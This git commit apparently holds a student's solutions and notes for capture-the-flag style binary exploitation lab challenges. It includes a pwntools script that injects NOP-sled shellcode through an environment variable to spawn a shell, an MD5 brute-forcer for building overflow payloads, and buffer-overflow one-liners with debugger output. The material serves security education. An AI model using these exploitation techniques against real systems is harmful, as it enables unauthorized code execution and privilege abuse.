some more project 4, almost done

This commit is contained in:
Kaushik Narayan R 2024-12-08 04:16:23 -07:00
parent 1d2e70a16f
commit dea92529a1
3 changed files with 212 additions and 0 deletions

39
4.35/gen_hash.py Normal file
View File

@ -0,0 +1,39 @@
import string
import hashlib
letters = string.ascii_letters + string.digits
letters_len = len(letters)
def make_str(num, length):
s = ""
while len(s) < length:
s += letters[num % letters_len]
num = num // letters_len
s = s[::-1]
return s
def get_hash(length, hash_start):
possibilities = letters_len**length
s, string_hash = "", ""
for num in range(0, possibilities):
s = make_str(num, length)
if num % 10 == 1:
print(s)
string_hash = hashlib.md5(s.encode()).digest().hex()
if string_hash[: len(hash_start)] == hash_start:
break
hash = ""
for i in range(0, len(string_hash), 2):
hash = hash + "\\x" + string_hash[i : i + 2]
return s, hash
buffer_len = 0x30 # 48 bytes
s, string_hash = get_hash(buffer_len, "00")
print("/challenge/run $'", s + string_hash, "'", sep="")

77
4.39/soln.py Normal file
View File

@ -0,0 +1,77 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template /challenge/run
import os
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or "/challenge/run")
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
"""Start the exploit against the target."""
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = """
tbreak main
continue
""".format(
**locals()
)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX unknown - GNU_STACK missing
# PIE: No PIE (0x400000)
# Stack: Executable
# RWX: Has RWX segments
# observed range of offsets from rsp to the target environment variable
# 0x2960, 0x24b0, 0x1a20, 0x1650, 0x1410, 0x1490
# NOP sled with comfortable room for error
sled_len = 0x5000
nop_sled = "\x90" * sled_len
shellcode = asm(shellcraft.sh())
payload = nop_sled + shellcode.decode("latin-1")
print("Payload length:", len(payload))
# place shellcode in environment to get around buffer limit
# os.environ["SHELLCODE_CMD"] = payload.decode('latin-1')
io = start(env={"SHELLCODE_CMD": payload})
# get rsp from program
io.recvuntil(b"pointer: ")
rsp_line = io.recvline()[:-1]
rsp_hex = int(rsp_line, 16)
print("Received rsp address:", rsp_line)
# distance to saved rip location from the array's location - check using GDB
rip_index = b"13"
io.sendline(rip_index)
# target shellcode
target_shellcode_sled = hex(rsp_hex + sled_len)[2:]
io.sendline(target_shellcode_sled.encode())
io.interactive()

View File

@ -625,3 +625,99 @@ honestly idk just check class vid and script
- went back to being same as .16 - went back to being same as .16
- idek - idek
### .32 - end of the rainbow
- file access check done for program name, not argument
- executes the selected program with given argument
- buffer is copied to argument from argv only after the access check
- buffer overflow
- overflow the argument's buffer ('buffer') to overwrite the program name's buffer ('filename')
- `/challenge/run echo $(python3 -c 'print("a"*288+"/home/hacker/lint")')`
### .33 - one character at a time
- same, apparently some validation for program name length was added
- but we were already using the argument buffer
### .34 - going with the flow
- source given
- buffer overflow again
- overflow the input buffer to overwrite the variable that contains the target hash to contain the hash of our input
```shell
pwndbg> b 56
Breakpoint 1 at 0x40137d: file main.c, line 57.
pwndbg> r blah
Starting program: /challenge/run blah
...
In file: /challenge/main.c
52 }
53 unsigned char* digest = md5sum(data_buffer);
54 strcpy(checksum_0, digest);
55 free(digest);
56
► 57 if (!strcmp(checksum_0, checksum_1))
58 {
59 puts("Awesome job!");
60 system("/bin/sh");
61 }
62 else
pwndbg> p &data_buffer
$1 = (char (*)[65]) 0x403540 <data_buffer>
pwndbg> p &checksum_1
$2 = (char (*)[33]) 0x4035a0 <checksum_1>
```
- gap b/w input data_buffer and checksum_1 is 0x60 - 96 bytes
- fill input buffer, pad the remaining bytes, then place the hash of the 64 bytes
```python
from Crypto.Hash.MD5 import MD5Hash
diff = 96
input_str = "F" * 64
padding = "U" * (diff - 64)
input_str_hash = MD5Hash(input_str.encode()).hexdigest()
payload = input_str + padding + input_str_hash
```
- boom
### .35 - got hash?
- buffer overflow
- overflow input buffer to set hash
- find a string whose hash starts with a null byte
### .36 - tick tock you don't stop
- simulates a TOCTOU?
- but attack is nothing: challenge just reads lines from a file and executes them as commands
- so just put `cat /flag` in a file and pass it
### .37 - the password is
- simple buffer overflow
- strncmp, but buffer locations are next to each other
- password in source itself
- `/challenge/run $(python3 -c 'print("F"*512,"aQWavHydcXmOzMDAF6b4")')`
### .38 - hit me baby one more time
- same as .36
- but this time, memcmp instead of strcmp
- but the string gets null terminated forcefully
- so use the same hash, but replace the starting null byte `\x00` of the hash with anything else
### .39 - flow direct
- shellcode injection, rsp is given by program
- but buffer isn't big enough
- where else can we put it?
- one solution is to place shellcode in an env variable and preface it with a sufficiently large NOP sled
- then overwrite saved rip with this shellcode's location, or at least its proximity so that it gets caught in the NOP sled